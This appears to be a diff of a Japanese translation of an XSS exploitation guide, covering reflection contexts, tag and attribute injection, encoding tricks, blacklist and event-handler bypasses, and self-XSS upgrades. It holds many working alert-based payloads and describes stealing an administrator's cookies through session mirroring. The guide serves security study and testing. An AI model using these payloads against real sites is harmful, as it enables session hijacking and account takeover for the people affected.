- クッキー名にこのプレフィックスがある場合、**Secureとしてマークされ、セキュアなオリジンから送信され、Domain属性を含まず、Path属性が/に設定されている場合にのみ**Set-Cookieディレクティブで**受け入れられます**
- **これにより、サブドメインがクッキーを頂点ドメインに強制することを防ぎます。これらのクッキーは「ドメインロック」されたものと見なされる可能性があります。**
### 参考文献

View File

@ -3,21 +3,21 @@
## 方法論
1. **あなたが制御する任意の値** (_パラメータ_、_パス_、_ヘッダー_、_クッキー_) がHTMLに**反映**されているか、**JS**コードで**使用**されているかを確認します。
2. **反映されている/使用されているコンテキスト**を見つけます。
2. **反映されている/使用されているコンテキストを見つけます**
3. **反映されている場合**
1. **使用できる記号**を確認し、それに応じてペイロードを準備します:
1. **使用できる記号を確認**し、それに応じてペイロードを準備します:
1. **生のHTML**内で:
1. 新しいHTMLタグを作成できますか
2. `javascript:`プロトコルをサポートするイベントや属性を使用できますか?
3. 保護を回避できますか?
4. HTMLコンテンツがクライアントサイドのJSエンジン (_AngularJS_、_VueJS_、_Mavo_...) によって解釈されている場合、[**クライアントサイドテンプレートインジェクション**](../client-side-template-injection-csti.md)を悪用できるかもしれません。
5. JSコードを実行するHTMLタグを作成できない場合、[**ダングリングマークアップ - HTMLスクリプトレスインジェクション**](../dangling-markup-html-scriptless-injection/index.html)を悪用できるかもしれません。
2. **HTMLタグ内**で
2. **HTMLタグ内で**
1. 生のHTMLコンテキストに抜け出せますか
2. JSコードを実行する新しいイベント/属性を作成できますか?
2. JSコードを実行するための新しいイベント/属性を作成できますか?
3. あなたが閉じ込められている属性はJS実行をサポートしていますか
4. 保護を回避できますか?
3. **JavaScriptコード内**で
3. **JavaScriptコード内で**
1. `<script>`タグをエスケープできますか?
2. 文字列をエスケープして異なるJSコードを実行できますか
3. テンプレートリテラル \`\` に入力がありますか?
@ -25,9 +25,9 @@
4. 実行されているJavaScript **関数**
1. 実行する関数の名前を指定できます。例:`?callback=alert(1)`
4. **使用されている場合**
1. **DOM XSS**を悪用できるかもしれません。あなたの入力がどのように制御されているか、そしてあなたの**制御された入力がどのシンクで使用されているかに注意してください**
1. **DOM XSS**を悪用できるかもしれません。あなたの入力がどのように制御されているか、そしてあなたの**制御された入力がどのシンクで使用されているかに注意してください**
複雑なXSSに取り組む際に知っておくと興味深いこと
複雑なXSSに取り組む際には、以下のことを知っておくと興味深いかもしれません
{{#ref}}
debugging-client-side-js.md
@ -35,11 +35,11 @@ debugging-client-side-js.md
## 反映された値
XSSを成功裏に悪用するために最初に見つける必要があるのは、**あなたが制御する値がウェブページに反映されていること**です。
XSSを成功裏に悪用するために最初に見つけるべきことは、**あなたが制御する値がウェブページに反映されていること**です。
- **中間的に反映された**:パラメータの値やパスがウェブページに反映されていることがわかった場合、**反映されたXSS**を悪用できるかもしれません。
- **保存されて反映された**:あなたが制御する値がサーバーに保存され、ページにアクセスするたびに反映される場合、**保存されたXSS**を悪用できるかもしれません。
- **JS経由でアクセスされた**あなたが制御する値がJSを使用してアクセスされている場合、**DOM XSS**を悪用できるかもしれません。
- **保存されて反映された**:あなたが制御する値がサーバーに保存され、ページにアクセスするたびに反映されることがわかった場合、**保存されたXSS**を悪用できるかもしれません。
- **JS経由でアクセスされた**あなたが制御する値がJSを使用してアクセスされていることがわかった場合、**DOM XSS**を悪用できるかもしれません。
## コンテキスト
@ -47,19 +47,19 @@ XSSを悪用しようとする際に最初に知っておくべきことは、**
### 生のHTML
あなたの入力が**生のHTML**ページに**反映されている**場合、JSコードを実行するためにいくつかの**HTMLタグ**を悪用する必要があります:`<img``<iframe``<svg``<script` ... これらは使用できる多くのHTMLタグの一部です。\
あなたの入力が**生のHTML**ページに**反映されている**場合、JSコードを実行するためにいくつかの**HTMLタグ**を悪用する必要があります:`<img``<iframe``<svg``<script` ... これらは使用できる多くのHTMLタグの一部に過ぎません。\
また、[クライアントサイドテンプレートインジェクション](../client-side-template-injection-csti.md)を念頭に置いてください。
### HTMLタグ属性内
### HTMLタグ属性内
あなたの入力がタグの属性の値内に反映されている場合、次のことを試みることができます:
1. **属性とタグから抜け出す**その後、生のHTMLにいることになります新しいHTMLタグを作成して悪用します`"><img [...]`
2. **属性からは抜け出せるがタグからは抜け出せない**場合(`>`がエンコードまたは削除されている、タグに応じてJSコードを実行する**イベント****作成**できるかもしれません:`" autofocus onfocus=alert(1) x="`
3. **属性から抜け出せない**場合(`"`がエンコードまたは削除されている)、あなたの値が反映されている**属性**に応じて、**すべての値を制御しているか、一部だけを制御しているか**によって悪用できるかもしれません。例えば、`onclick=`のようなイベントを制御している場合、クリックされたときに任意のコードを実行させることができます。もう一つの興味深い**例**は、`href`属性で、`javascript:`プロトコルを使用して任意のコードを実行できす:**`href="javascript:alert(1)"`**
4. あなたの入力が**悪用できないタグ**内に反映されている場合、脆弱性を悪用するために**`accesskey`**トリックを試みることができます(これを悪用するには何らかの社会工学が必要です):**`" accesskey="x" onclick="alert(1)" x="**
1. **属性とタグから抜け出す**その後、生のHTMLにいることになりますことを試み、新しいHTMLタグを作成して悪用します`"><img [...]`
2. **属性からは抜け出せるがタグからは抜け出せない**場合(`>`がエンコードまたは削除されている、タグに応じてJSコードを実行する**イベントを作成**できるかもしれません:`" autofocus onfocus=alert(1) x="`
3. **属性から抜け出せない**場合(`"`がエンコードまたは削除されている)、あなたの値が反映されている**属性**に応じて、**すべての値を制御しているか、一部だけを制御しているか**によって悪用できるかもしれません。例えば、`onclick=`のようなイベントを制御している場合、クリックされたときに任意のコードを実行させることができます。もう一つの興味深い**例**は、`href`属性で、`javascript:`プロトコルを使用して任意のコードを実行できることです:**`href="javascript:alert(1)"`**
4. あなたの入力が**悪用できないタグ**内に反映されている場合、脆弱性を悪用するために**`accesskey`**トリックを試みることができます(これを悪用するには何らかの社会工学が必要です):**`" accesskey="x" onclick="alert(1)" x="**
クラス名を制御る場合のAngularによるXSSの奇妙な例
クラス名を制御している場合のAngularによるXSSの奇妙な例
```html
<div ng-app>
<strong class="ng-init:constructor.constructor('alert(1)')()">aaa</strong>
@ -67,14 +67,14 @@ XSSを悪用しようとする際に最初に知っておくべきことは、**
```
### Inside JavaScript code
この場合、あなたの入力はHTMLページの**`<script> [...] </script>`**タグの間、`.js`ファイルの中、または**`javascript:`**プロトコルを使用した属性の中に反映されます:
この場合、あなたの入力はHTMLページの**`<script> [...] </script>`**タグ`.js`ファイル内、または**`javascript:`**プロトコルを使用した属性内に反映されます:
- **`<script> [...] </script>`**タグの間に反映されている場合、たとえあなたの入力がどんな種類の引用符の中にあっても、`</script>`を注入してこのコンテキストから**脱出**しようとすることができます。これは、**ブラウザが最初にHTMLタグを解析**し、その後にコンテンツを解析するため、あなたが注入した`</script>`タグがHTMLコードの中にあることに気づかないからです。
- **JS文字列の中**に反映されていて、最後のトリックが機能しない場合は、文字列から**退出**し、コードを**実行**し、JSコードを**再構築**する必要があります(エラーがある場合は実行されません):
- **`<script> [...] </script>`**タグの間に反映されている場合、たとえあなたの入力がどんな種類の引用符の中にあっても、`</script>`を注入してこのコンテキストから**脱出**しようとすることができます。これは、**ブラウザが最初にHTMLタグを解析**し、その後にコンテンツを解析するため、あなたが注入した`</script>`タグがHTMLコードにあることに気づかないからです。
- **JS文字列**に反映されていて、最後のトリックが機能しない場合は、文字列から**退出**し、**コードを実行**し、JSコードを**再構築**する必要があります(エラーがある場合は実行されません):
- `'-alert(1)-'`
- `';-alert(1)//`
- `\';alert(1)//`
- テンプレートリテラルの中に反映されている場合、`${ ... }`構文を使用して**JS式を埋め込む**ことができます: `` var greetings = `Hello, ${alert(1)}` ``
- テンプレートリテラルに反映されている場合、`${ ... }`構文を使用して**JS式を埋め込む**ことができます: `` var greetings = `Hello, ${alert(1)}` ``
- **Unicodeエンコード**は**有効なjavascriptコード**を書くために機能します:
```javascript
alert(1)
@ -83,8 +83,8 @@ alert(1)
```
#### Javascript Hoisting
Javascript Hoistingは、**関数、変数、またはクラスを使用した後に宣言する機会を指し、未宣言の変数や関数を使用するXSSのシナリオを悪用することができます。**\
**詳細については、以下のページを確認してください:**
Javascript Hoistingは、**関数、変数、またはクラスを使用した後に宣言する機会を指し、未宣言の変数や関数を使用するXSSのシナリオを悪用できるようにします。**\
**詳細については、のページを確認してください:**
{{#ref}}
js-hoisting.md
@ -92,15 +92,15 @@ js-hoisting.md
### Javascript Function
いくつかのウェブページには、**実行する関数の名前をパラメータとして受け入れるエンドポイントがあります。** 実際に見られる一般的な例は、`?callback=callbackFunc`のようなものです。
いくつかのウェブページには、**実行する関数の名前をパラメータとして受け入れるエンドポイントがあります**。一般的な例として、`?callback=callbackFunc`のようなものがあります。
ユーザーによって直接提供された何かが実行されようとしているかどうかを確認する良い方法は、**パラメータの値を変更すること**例えば「Vulnerable」にで、コンソールで次のようなエラーを探すことです:
![](<../../images/image (711).png>)
もし脆弱であれば、**値を送信するだけでアラートをトリガーできる可能性があります: **`?callback=alert(1)`**。ただし、これらのエンドポイントは、**内容を検証して、文字、数字、ドット、アンダースコアのみを許可することが非常に一般的です(**`[\w\._]`**)。**
脆弱であれば、**値を送信するだけでアラートをトリガーできる可能性があります**: **`?callback=alert(1)`**。ただし、これらのエンドポイントは、**コンテンツを検証して、文字、数字、ドット、アンダースコアのみを許可することが非常に一般的です****`[\w\._]`**)。
しかし、その制限があっても、いくつかのアクションを実行することはまだ可能です。これは、有効な文字を使用して**DOM内の任意の要素にアクセスできるためです**:
しかし、その制限があっても、いくつかのアクションを実行することは依然として可能です。これは、有効な文字を使用して**DOM内の任意の要素にアクセスできるためです**:
![](<../../images/image (747).png>)
@ -124,7 +124,7 @@ some-same-origin-method-execution.md
### DOM
**JSコード**が、攻撃者によって制御される**データ**を**安全でない方法**使用しています。例えば、`location.href`。攻撃者は、これを悪用して任意のJSコードを実行することができます。
**JSコード**が、攻撃者によって制御される**データ**を**安全でない方法**使用しています。例えば、`location.href`。攻撃者は、これを悪用して任意のJSコードを実行することができます。
{{#ref}}
dom-xss.md
@ -132,7 +132,7 @@ dom-xss.md
### **ユニバーサルXSS**
この種のXSSは**どこにでも**見つけることができます。これは、Webアプリケーションのクライアントの悪用だけでなく、**あらゆる** **コンテキスト**に依存します。この種の**任意のJavaScript実行**は、**RCE**を取得したり、クライアントやサーバーの**任意のファイルを読み取ったり**するために悪用されることさえあります。\
この種のXSSは**どこにでも**見つけることができます。これは、Webアプリケーションのクライアントの悪用だけでなく、**あらゆる****コンテキスト**に依存します。この種の**任意のJavaScript実行**は、**RCE**を取得したり、クライアントやサーバーの**任意のファイルを読み取ったり**するために悪用されることさえあります。\
いくつかの**例**
{{#ref}}
@ -149,7 +149,7 @@ server-side-xss-dynamic-pdf.md
## 生のHTML内に注入
あなたの入力が**HTMLページ内に反映される**場合、またはこのコンテキストでHTMLコードをエスケープして注入できる場合、最初に行うべきことは、`<`を悪用して新しいタグを作成できるかどうかを確認することです: その**文字**を**反映**させて、それが**HTMLエンコード**されているか、**削除**されているか、または**変更なしで反映**されているかを確認してください。**最後のケースでのみ、このケースを悪用できるでしょう**。\
あなたの入力が**HTMLページ内に反映される**場合、またはこのコンテキストでHTMLコードをエスケープして注入できる場合、最初に行うべきことは、`<`を悪用して新しいタグを作成できるかどうかを確認することです: その**文字**を**反映**させて、**HTMLエンコード**されているか、**削除**されているか、または**変更なしで反映されているか**を確認してください。**最後のケースでのみ、このケースを悪用できるでしょう**。\
この場合も、[**クライアントサイドテンプレートインジェクション**](../client-side-template-injection-csti.md)**を念頭に置いてください。**\
_**注: HTMLコメントは、`-->`または`--!>`を使用して閉じることができます。**_
@ -162,7 +162,7 @@ alert(1)
<svg onload=alert('XSS')>
```
しかし、タグ/属性のブラックリスト/ホワイトリストが使用されている場合、どのタグを作成できるかを**ブルートフォース**する必要があります。\
どのタグが許可されているかを**特定したら**、見つかった有効なタグ内の**属性/イベントをブルートフォース**して、どのようにコンテキストを攻撃できるかを確認する必要があります。
許可されているタグを**特定したら**、見つかった有効なタグ内の**属性/イベントをブルートフォース**して、どのようにコンテキストを攻撃できるかを確認する必要があります。
### タグ/イベントのブルートフォース
@ -176,7 +176,7 @@ alert(1)
```
### ブラックリストバイパス
もし何らかのブラックリストが使用されている場合、いくつかの簡単なトリックを使ってバイパスを試みることができます:
もし何らかのブラックリストが使用されている場合、いくつかのくだらないトリックを使ってバイパスを試みることができます:
```javascript
//Random capitalization
<script> --> <ScrIpT>
@ -239,18 +239,18 @@ To check in which characters are decomposed check [here](https://www.compart.com
### Click XSS - Clickjacking
脆弱性を悪用するために、**ユーザーにリンクや事前に入力されたデータを持つフォームをクリックさせる必要がある**場合、[**Clickjackingを悪用する**](../clickjacking.md#xss-clickjacking)ことを試みることができます(ページが脆弱な場合)。
もし脆弱性を悪用するために**ユーザーがリンクや事前に入力されたデータを持つフォームをクリックする必要がある**場合、[**Clickjackingを悪用する**](../clickjacking.md#xss-clickjacking)ことを試みることができます(ページが脆弱な場合)。
### Impossible - Dangling Markup
**JSコードを実行する属性を持つHTMLタグを作成することは不可能だと思う**場合、[**Dangling Markup**](../dangling-markup-html-scriptless-injection/index.html)を確認してください。なぜなら、**JS**コードを実行することなく**脆弱性を悪用**できるからです。
もし**JSコードを実行するための属性を持つHTMLタグを作成することが不可能だと思う**なら、[**Dangling Markup**](../dangling-markup-html-scriptless-injection/index.html)を確認してください。なぜなら、**JS**コードを実行することなく**脆弱性を悪用**できるからです。
## Injecting inside HTML tag
### Inside the tag/escaping from attribute value
**HTMLタグの内部にいる**場合、最初に試すべきことは、タグから**エスケープ**し、[前のセクション](#injecting-inside-raw-html)で言及された技術のいくつかを使用してJSコードを実行することです。\
タグから**エスケープできない**場合、タグ内に新しい属性を作成してJSコードを実行しようとすることができます。例えば、(_この例では属性からエスケープするために二重引用符が使用されていますが、入力がタグ内に直接反映される場合は必要ありません_)
もし**HTMLタグの内部にいる**場合、最初に試すべきことは**タグからエスケープ**し、[前のセクション](#injecting-inside-raw-html)で言及された技術のいくつかを使用してJSコードを実行することです。\
もし**タグからエスケープできない**場合、タグに新しい属性を作成してJSコードを実行しようとすることができます。例えば、(_この例では属性からエスケープするために二重引用符が使用されていますが、入力がタグ内に直接反映される場合は必要ありません_)
```bash
" autofocus onfocus=alert(document.domain) x="
" onfocus=alert(1) id=x tabindex=0 style=display:block>#x #Access http://site.com/?#x t
@ -267,7 +267,7 @@ To check in which characters are decomposed check [here](https://www.compart.com
```
### 属性内で
たとえ**属性から逃げることができなくても**`"`がエンコードまたは削除されている場合)、**どの属性**にあなたの値が反映されているかに応じて、**すべての値を制御しているのか、一部だけを制御しているのか**によって、悪用することができるでしょう。**例えば**、`onclick=`のようなイベントを制御できれば、クリックされたときに任意のコードを実行させることができます。\
たとえ**属性から逃げることができなくても**`"`がエンコードされているか削除されている場合)、**どの属性**にあなたの値が反映されているかによって、**すべての値を制御しているのか、一部だけを制御しているのか**に応じて、それを悪用することができます。**例えば**、`onclick=`のようなイベントを制御している場合、クリックされたときに任意のコードを実行させることができます。\
もう一つの興味深い**例**は、属性`href`で、`javascript:`プロトコルを使用して任意のコードを実行できることです:**`href="javascript:alert(1)"`**
**HTMLエンコーディング/URLエンコードを使用したイベント内のバイパス**
@ -303,7 +303,7 @@ HTMLタグ属性の値内の**HTMLエンコードされた文字**は**実行時
```
### 属性内の特別なプロトコル
ここでは、いくつかの場所でプロトコル **`javascript:`** または **`data:`** を使用して **任意のJSコードを実行** できます。いくつかはユーザーの操作を必要とし、いくつかは必要ありません。
ここでは、いくつかの場所で **`javascript:`** または **`data:`** プロトコルを使用して **任意のJSコードを実行** できます。いくつかはユーザーの操作を必要とし、いくつかは必要ありません。
```javascript
javascript:alert(1)
JavaSCript:alert(1)
@ -325,7 +325,7 @@ data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc
```
**これらのプロトコルを注入できる場所**
**一般的に** `javascript:` プロトコルは **`href` 属性を受け入れる任意のタグで使用でき**、**ほとんどの** `src` 属性を受け入れるタグで使用できます(ただし `<img>` は除く)
**一般的に** `javascript:` プロトコルは **`href`** 属性を受け入れる任意のタグで **使用でき**、**ほとんどの** `src` 属性を受け入れるタグで使用できます(ただし `<img>` は除く)
```html
<a href="javascript:alert(1)">
<a href="data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=">
@ -347,21 +347,21 @@ data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc
```
**他の難読化トリック**
_**この場合、前のセクションのHTMLエンコーディングとUnicodeエンコーディングのトリックも有効です。属性内にいるためです。**_
_**この場合、前のセクションのHTMLエンコーディングとUnicodeエンコーディングのトリックも有効です。あなたは属性内にいるためです。**_
```javascript
<a href="javascript:var a='&apos;-alert(1)-&apos;'">
```
さらに、これらのケースには別の**素晴らしいトリック**があります:**`javascript:...`内の入力がURLエンコードされていても、実行される前にURLデコードされます。** したがって、**シングルクォート**を使用して**文字列**から**エスケープ**する必要がある場合、**URLエンコードされている**のを見ても、**問題ありません。** 実行時に**シングルクォート**として**解釈されます。**
さらに、これらのケースには別の**素晴らしいトリック**があります:**`javascript:...`内の入力がURLエンコードされていても、実行される前にURLデコードされます。** したがって、**シングルクォート**を使用して**文字列**から**エスケープ**する必要がある場合、**URLエンコードされている**のを見たら、**それは重要ではありません。** 実行時に**シングルクォート**として**解釈**されます。
```javascript
&apos;-alert(1)-&apos;
%27-alert(1)-%27
<iframe src=javascript:%61%6c%65%72%74%28%31%29></iframe>
```
注意してください、もしあなたが**両方**の`URLencode + HTMLencode`を任意の順序で**ペイロード**をエンコードするために使用しようとすると、それは**機能しません**が、**ペイロード内で混ぜる**ことはできます。
注意してください。**ペイロード**をエンコードするために、任意の順序で `URLencode + HTMLencode` の両方を**使用しようとすると**、**機能しません**が、**ペイロード内で混ぜることはできます**
**`javascript:`を使ったHexおよびOctalエンコード**
**`javascript:`を使った16進数および8進数エンコード**
あなたは**Hex**および**Octalエンコード**を`iframe``src`属性内で(少なくとも)使用して**JSを実行するHTMLタグを宣言**することができます:
少なくとも `iframe``src` 属性内で**16進数**および**8進数エンコード**を使用して、**JSを実行するHTMLタグを宣言**できます:
```javascript
//Encoded: <svg onload=alert(1)>
// This WORKS
@ -377,16 +377,16 @@ _**この場合、前のセクションのHTMLエンコーディングとUnicode
```javascript
<a target="_blank" rel="opener"
```
任意の **`<a href=`** タグに **`target="_blank" and rel="opener"`** 属性を含むURLを注入できる場合は、この動作を悪用するために**次のページを確認してください**
もし任意の**`<a href=`**タグにURLを挿入でき、そのタグが**`target="_blank"`**および**`rel="opener"`**属性を含む場合、**この動作を悪用するための次のページを確認してください**
{{#ref}}
../reverse-tab-nabbing.md
{{#endref}}
### イベントハンドラのバイパス
### イベントハンドラーバイパスについて
まず、役立つ **"on" イベントハンドラ** のためにこのページを確認してください ([https://portswigger.net/web-security/cross-site-scripting/cheat-sheet](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet))。\
このイベントハンドラの作成を妨げるブラックリストがある場合、次のバイパスを試すことができます:
まず、役立つ**"on"イベントハンドラ**についてはこのページを確認してください([https://portswigger.net/web-security/cross-site-scripting/cheat-sheet](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)。\
もしこのイベントハンドラの作成を妨げるブラックリストがある場合、次のバイパスを試すことができます:
```javascript
<svg onload%09=alert(1)> //No safari
<svg %09onload=alert(1)>
@ -408,7 +408,7 @@ From [**here**](https://portswigger.net/research/exploiting-xss-in-hidden-inputs
<button popvertarget="x">Click me</button>
<input type="hidden" value="y" popover id="x" onbeforetoggle="alert(1)" />
```
そして**メタタグ**:
そして**metaタグ**では:
```html
<!-- Injection inside meta attribute-->
<meta
@ -422,7 +422,7 @@ onbeforetoggle="alert(2)" />
<button popovertarget="newsletter">Subscribe to newsletter</button>
<div popover id="newsletter">Newsletter popup</div>
```
[**こちら**](https://portswigger.net/research/xss-in-hidden-input-fields)から: **隠し属性**内で**XSSペイロード**を実行できますが、**犠牲者**に**キーの組み合わせ**を押すように**説得**する必要があります。FirefoxWindows/Linuxではキーの組み合わせは**ALT+SHIFT+X**で、OS Xでは**CTRL+ALT+X**です。アクセスキー属性で異なるキーを使用して異なるキーの組み合わせを指定できます。ここにベクターがあります:
[**こちら**](https://portswigger.net/research/xss-in-hidden-input-fields)から: **隠し属性**内で**XSSペイロード**を実行できますが、**犠牲者**に**キーの組み合わせ**を押すように**説得**する必要があります。Firefox Windows/Linuxではキーの組み合わせは**ALT+SHIFT+X**で、OS Xでは**CTRL+ALT+X**です。アクセスキー属性で異なるキーを使用して異なるキーの組み合わせを指定できます。ここがベクターです:
```html
<input type="hidden" accesskey="X" onclick="alert(1)">
```
@ -448,7 +448,7 @@ onbeforetoggle="alert(2)" />
### CSSガジェット
もし、**非常に小さな部分**のウェブでXSSを見つけた場合、何らかのインタラクションが必要な場合フッターの小さなリンクにonmouseover要素があるかもしれません、その要素が占める**スペースを変更して**、リンクが発火する確率を最大化することを試みることができます。
もし、**非常に小さな部分**のウェブでXSSを見つけた場合、何らかのインタラクションが必要ですフッターの小さなリンクにonmouseover要素があるかもしれません、その要素が占めるスペースを**変更してリンクが発火する確率を最大化**することを試みることができます。
例えば、要素に次のようなスタイルを追加することができます:`position: fixed; top: 0; left: 0; width: 100%; height: 100%; background-color: red; opacity: 0.5`
@ -468,11 +468,11 @@ onbeforetoggle="alert(2)" />
## JavaScriptコード内への注入
この場合、あなたの**入力**は`.js`ファイルのJSコード内に**反映される**か、`<script>...</script>`タグの間、またはJSコードを実行できるHTMLイベントの間、または`javascript:`プロトコルを受け入れる属性の間にあります。
この場合、**入力**は`.js`ファイルのJSコード内に**反映される**か、`<script>...</script>`タグの間、またはJSコードを実行できるHTMLイベントの間、または`javascript:`プロトコルを受け入れる属性の間にあります。
### \<script>タグのエスケープ
もしあなたのコードが`<script> [...] var input = 'reflected data' [...] </script>`の中に挿入されている場合、簡単に**`<script>`タグを閉じることでエスケープ**できます:
もしあなたのコードが`<script> [...] var input = 'reflected data' [...] </script>`の中に挿入されている場合、**`<script>`タグを閉じることで簡単にエスケープできます:**
```javascript
</script><img src=1 onerror=alert(document.domain)>
```
@ -480,7 +480,7 @@ onbeforetoggle="alert(2)" />
### JSコード内
`<>`がサニタイズされている場合でも、**文字列をエスケープ**し、**任意のJSを実行**することができます。JSの構文を**修正する**ことが重要です。エラーがあると、JSコードは実行されません
`<>`がサニタイズされている場合でも、**文字列をエスケープ**し入力が**存在する場所**で**任意のJSを実行**することができます。JSの構文を**修正する**ことが重要です。エラーがあると、JSコードは実行されません
```
'-alert(document.domain)-'
';alert(document.domain)//
@ -488,8 +488,8 @@ onbeforetoggle="alert(2)" />
```
### テンプレートリテラル \`\`
**文字列**を構築するために、シングルクォートやダブルクォートの他に、JSは**バックティック** **` `` `**も受け入れます。これはテンプレートリテラルと呼ばれ、`${ ... }`構文を使用して**JS式****埋め込む**ことができます。\
したがって、バックティックを使用しているJS文字列内に入力が**反映**されていることがわかった場合、`${ ... }`構文を悪用して**任意のJSコード**を実行することができます:
**文字列**を構築するために、シングルクォートやダブルクォートの他に、JSは**バックティック** **` `` `**も受け入れます。これはテンプレートリテラルと呼ばれ、`${ ... }`構文を使用して**JS式を埋め込む**ことができます。\
したがって、バックティックを使用しているJS文字列内に入力が**反映**されていることがわかった場合、構文`${ ... }`を悪用して**任意のJSコード**を実行することができます:
これは次のように**悪用**できます:
```javascript
@ -562,7 +562,7 @@ eval(8680439..toString(30))(983801..toString(36))
#!This is a 1 line comment, but "#!" must to be at the beggining of the first line
-->This is a 1 line comment, but "-->" must to be at the beggining of the first line
```
**JavaScriptの改行から** [**JavaScriptの改行**](#javascript-new-lines) **トリック)**
**JavaScriptの改行から** [**JavaScriptの改行**](#javascript-new-lines) **トリック**
```javascript
//Javascript interpret as new line these chars:
String.fromCharCode(10)
@ -677,7 +677,7 @@ try{throw onerror=alert}catch{throw 1}
- [https://github.com/RenwaX23/XSS-Payloads/blob/master/Without-Parentheses.md](https://github.com/RenwaX23/XSS-Payloads/blob/master/Without-Parentheses.md)
- [https://portswigger.net/research/javascript-without-parentheses-using-dommatrix](https://portswigger.net/research/javascript-without-parentheses-using-dommatrix)
**任意の関数 (alert) 呼び出し**
**任意の関数alert呼び出し**
```javascript
//Eval like functions
eval('ale'+'rt(1)')
@ -740,20 +740,20 @@ top[8680439..toString(30)](1)
## **DOMの脆弱性**
攻撃者によって制御される**安全でないデータ**を使用している**JSコード**があります。例えば、`location.href`のようなものです。攻撃者はこれを悪用して任意のJSコードを実行することができます。\
**DOMの脆弱性に関する説明が長くなったため、** [**このページに移動しました**](dom-xss.md)**:**
**DOMの脆弱性に関する説明が拡張されたため、** [**このページに移動しました**](dom-xss.md)**:**
{{#ref}}
dom-xss.md
{{#endref}}
そこでは、**DOMの脆弱性とは何か、どのように引き起こされるのか、そしてどのように悪用されるのかについての詳細な説明**が見つかります。\
また、**前述の投稿の最後に**、[**DOM Clobbering攻撃**](dom-xss.md#dom-clobbering)についての説明があることを忘れないでください。
そこでは、**DOMの脆弱性とは何か、どのように引き起こされるのか、そしてそれをどのように悪用するのかについての詳細な説明**が見つかります。\
また、**前述の投稿の最後に**、[**DOM Clobbering攻撃**](dom-xss.md#dom-clobbering)に関する説明があることを忘れないでください。
### Self-XSSのアップグレード
### Cookie XSS
もしペイロードをクッキー内に送信することでXSSをトリガーできる場合、これは通常self-XSSです。しかし、**XSSに対して脆弱なサブドメイン**を見つけた場合、このXSSを悪用して全ドメインにクッキーを注入し、メインドメイン他のサブドメインクッキーXSSに対して脆弱なものでクッキーXSSをトリガーすることができます。このために、クッキー投げ攻撃を使用できます
ペイロードをクッキー内に送信することでXSSをトリガーできる場合、これは通常self-XSSです。しかし、**XSSに対して脆弱なサブドメイン**を見つけた場合、このXSSを悪用して全ドメインにクッキーを注入し、メインドメインまたは他のサブドメインクッキーXSSに対して脆弱なものでクッキーXSSをトリガーすることができます。このために、クッキー投げ攻撃を使用できます
{{#ref}}
../hacking-with-cookies/cookie-tossing.md
@ -763,11 +763,11 @@ dom-xss.md
### 管理者にセッションを送信する
ユーザーが自分のプロフィールを管理者と共有できる場合、もしself XSSがユーザーのプロフィール内にあり、管理者がそれにアクセスすると、脆弱性がトリガーされます。
ユーザーが管理者とプロフィールを共有できる場合、ユーザーのプロフィール内にself XSSがあり、管理者がそれにアクセスすると、脆弱性がトリガーされます。
### セッションミラーリング
self XSSを見つけ、ウェブページに**管理者用のセッションミラーリング**がある場合、例えばクライアントが助けを求めることを許可し、管理者があなたを助けるために、彼は自分のセッションからあなたのセッションで見ているものを見ます。
self XSSを見つけ、ウェブページに**管理者用のセッションミラーリング**がある場合、例えばクライアントが助けを求めることを許可し、管理者があなたを助けるためにあなたのセッションで見ているものを彼のセッションからることになります。
あなたは**管理者にself XSSをトリガーさせて、彼のクッキー/セッションを盗む**ことができます。
@ -783,8 +783,8 @@ self XSSを見つけ、ウェブページに**管理者用のセッションミ
```
### Ruby-On-Rails バイパス
**RoR マスアサインメント** により、HTMLに引用符が挿入され、その後引用制限がバイパスされ、タグ内に追加のフィールドonfocusを追加できます。\
フォームの例 ([from this report](https://hackerone.com/reports/709336))、ペイロードを送信した場合:
**RoR マスアサインメント** により、HTML に引用符が挿入され、その後引用制限がバイパスされ、タグ内に追加のフィールド (onfocus) を追加できます。\
フォームの例 ([from this report](https://hackerone.com/reports/709336))、ペイロードを送信すると:
```
contact[email] onfocus=javascript:alert('xss') autofocus a=a&form_type[a]aaa
```
@ -828,20 +828,20 @@ document['default'+'View'][`\u0061lert`](3)
もしあなたが **302リダイレクトレスポンスにヘッダーを注入できる** ことがわかった場合、**ブラウザに任意のJavaScriptを実行させる**ことを試みることができます。これは **簡単ではありません**。なぜなら、現代のブラウザはHTTPレスポンスステータスコードが302の場合、HTTPレスポンスボディを解釈しないため、単なるクロスサイトスクリプティングペイロードは無意味だからです。
[**このレポート**](https://www.gremwell.com/firefox-xss-302) と [**こちら**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/) では、Locationヘッダー内でいくつかのプロトコルをテストし、それらのいずれかがブラウザにボディ内のXSSペイロードを検査して実行させることを許可するかどうかを確認する方法を読むことができます。\
[**このレポート**](https://www.gremwell.com/firefox-xss-302) と [**こちら**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/) では、Locationヘッダー内でいくつかのプロトコルをテストし、それらのいずれかがブラウザにXSSペイロードをボディ内で検査および実行させることを許可するかどうかを確認する方法を読むことができます。\
過去に知られているプロトコル: `mailto://`, `//x:1/`, `ws://`, `wss://`, _空のLocationヘッダー_, `resource://`.
### Only Letters, Numbers and Dots
もしあなたが **コールバック** を示すことができるなら、javascript**実行する** 文字はそれらの文字に制限されます。[**この投稿のこのセクションを読んで**](#javascript-function) この動作を悪用する方法を見つけてください
もしあなたが **コールバック** を示すことができるなら、javascriptはその文字に制限されて **実行** されます。[**この投稿のこのセクションを読む**](#javascript-function) ことで、この動作を悪用する方法を見つけることができます
### Valid `<script>` Content-Types to XSS
[**こちらから**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/))もしあなたが `application/octet-stream` のような **content-type**スクリプトを読み込もうとすると、Chromeは次のエラーを投げます
[**こちらから**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/))もしあなたが **content-type** として `application/octet-stream` を持つスクリプトを読み込もうとすると、Chromeは次のエラーを投げます
> MIMEタイプapplication/octet-streamが実行可能ではなく、厳格なMIMEタイプチェックが有効になっているため、[https://uploader.c.hc.lc/uploads/xxx'](https://uploader.c.hc.lc/uploads/xxx') からスクリプトの実行を拒否しました。
